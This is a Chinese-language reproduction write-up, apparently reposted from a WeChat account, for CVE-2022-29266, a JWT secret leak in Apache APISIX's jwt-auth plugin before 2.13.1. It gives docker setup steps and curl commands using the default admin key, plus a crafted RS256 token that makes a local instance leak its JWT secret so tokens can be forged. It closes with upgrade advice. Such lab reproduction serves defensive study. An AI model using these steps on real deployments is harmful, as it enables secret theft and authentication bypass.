Apache Apisix是美国阿帕奇(Apache)基金会的一个云原生的微服务API网关服务。该软件基于 OpenResty 和 etcd 来实现,具备动态路由和插件热加载,适合微服务体系下的 API 管理。
在2.13.1版本之前的Apache Apisix中,开启了 jwt-auth 插件的 APISIX 存在 jwt sceret泄露。
Apache Apisix < 2.13.1
1、执行命令
git clone https://github.com/apache/apisix-docker
拉取apisix-docker
2、进入apisix-docker/example目录,将docker-compose.yml文件中apisix image修改为apache/apisix:2.13.0-alpine
3、执行
docker-compose up -d
启动docker环境
4、访问http://localhost:9000,出现以下界面代表docker环境搭建成功
5、执行命令
curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '{"username": "bugtest","plugins": {"jwt-auth": {"key": "bugtestkey","secret": "bugtestsecret"}}}'
配置consumer对象,并启动插件jwt-auth,其中插件jwt-auth的username、key、secret值可以为任意
6、再执行命令
curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '{"methods": ["GET"],"uri": "/index.html","plugins": {"jwt-auth": {}},"upstream": {"type": "roundrobin","nodes": {"localhost:8080": 1}}}'
配置路由,至此,漏洞环境已配置完成
1、访问
https://jwt.io/#debugger-io
准备构造jwt进行漏洞测试
2、将jwt算法修改为RS256
3、将payload修改为{"key": "bugtestkey"},参数key值和之前生成的key值一致
4、点击SHARE JWT生成jwt:eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJidWd0ZXN0a2V5In0.QfvbXrqOCprKW3WGBh62r39Qxp1BYmI0jH9uamEC9PBP05Ycwyk8xAniKp6YeajrNEv8OBqKxHDdhFGdQ59DYaK7Xb2w4Zl1eqELV98ZGHKaV1U7Iqu8WoE9KurrEDZAY29N25-5AznsRRpiNPxVpReDuLgQ5qmDfzRbJHm2PkpmHPAYMUTKPlwyV6UC2dG6PWlXBuya5uC1qCPY45jRj85t9jmLW2y2aDAP59U-kRRDDFcDIzeAVE96KYFpbaQlM3tyisjtcQnmRGC2gC06N8Sk4smLhV0tn1lwRiQlRHxkUMcpJhgOb5XUocTZI7vYtiZPUv7AGh32yQYWrF1Ltg
5、执行命令
curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJidWd0ZXN0a2V5In0.QfvbXrqOCprKW3WGBh62r39Qxp1BYmI0jH9uamEC9PBP05Ycwyk8xAniKp6YeajrNEv8OBqKxHDdhFGdQ59DYaK7Xb2w4Zl1eqELV98ZGHKaV1U7Iqu8WoE9KurrEDZAY29N25-5AznsRRpiNPxVpReDuLgQ5qmDfzRbJHm2PkpmHPAYMUTKPlwyV6UC2dG6PWlXBuya5uC1qCPY45jRj85t9jmLW2y2aDAP59U-kRRDDFcDIzeAVE96KYFpbaQlM3tyisjtcQnmRGC2gC06N8Sk4smLhV0tn1lwRiQlRHxkUMcpJhgOb5XUocTZI7vYtiZPUv7AGh32yQYWrF1Ltg
响应中出现jwt secret值:bugtestsecret,拥有jwt secret值后即可伪造jwt
1、将Apache Apisix升级至Apache Apisix 2.13.1以上
原文始发于微信公众号(第59号):CVE-2022-29266 Apache Apisix jwt-auth插件密钥泄漏漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论